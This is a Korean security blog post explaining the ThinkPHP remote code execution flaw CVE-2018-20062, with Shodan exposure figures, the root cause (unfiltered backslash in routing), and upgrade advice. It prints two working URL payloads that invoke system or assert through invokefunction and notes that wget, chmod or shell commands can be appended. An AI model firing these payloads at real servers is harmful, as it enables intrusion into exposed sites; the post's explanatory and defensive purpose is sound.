주의: 본 공격구문을 실제 웹 서버에 공격하여서 발생한 모든 결과는 본인이 책임져야 합니다.
ThinkPHP
- 중국 TopThink에서 개발한 php 기반 웹 어플리케이션 프레임워크
- Apache2 기반으로 만들어졌으며, 중국 내에서는 빠른 프로젝트 개발 진행이 가능했기에 인기가 많았다.
- Shodan 결과에 의하면 2023/6/23 기준으로 약 32,269개 이상 활성화 되어있다. 아시아 지역에서 많이 사용되어지고 있다.
- 사진 2를 참고하면 활성화 된 국가의 Top 10 List 를 확인할 수 있다. (한국은 127개)
이러한 ThinkPHP에는 원격코드 실행 취약점이 존재한다. (CVE-2018-20062)
Payload
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars [1][]= command
Payload 가 실행되는 이유는 '\' 문자가 필터링 되지 않기 때문이다.
적절한 (입력 검증) 필터링 부재로 인해 \think\app은 class로, invokefunction은 Method로 동작하게 되는 것이다.
공격구문
/index.php?s=index/\think\app/invokefunction&function=assert&vars[0]=print md5('chaonan')&vars[1][]=
- Payload 코드 뒤, wget이나 chmod, shell 등의 시스템 제어를 할 수 있는 명령어들을 이용하여 해커가 원하는 공격을 수행할 수 있게 된다.
대응방안
- 해당 공격을 대응하기 위해서는 ThinkPHP 버전을 5.0.23 혹은 5.1.31 으로 업그레이드 하는 것을 권장한다.
- PHP 업데이트로 '\' 필터링을 확인하는 정규식이 추가되었다. (적절한 입력 검증)
ThinkPHP 취약점은 웹 어플리케이션 공격으로 여전히 사용되고 있으니 잘 대응하시기 바랍니다.
'CyberSecurity > 보안 취약점' 카테고리의 다른 글
Deep Linking Vulnerabilities / 딥 링킹 취약점 (0) | 2024.02.14 |
---|---|
TP-Link Archer 취약점 (CVE-2023-1389) (1) | 2024.02.13 |
Node.js Library(VM2) 보안 업데이트 권장 (CVE-2023-29017 취약점 확인) (0) | 2023.04.16 |
Microsoft Outlook Elevation of Privilege Vulnerability [CVE-2023-23397] ZeroDay Attack 제로데이 취약점 (0) | 2023.03.18 |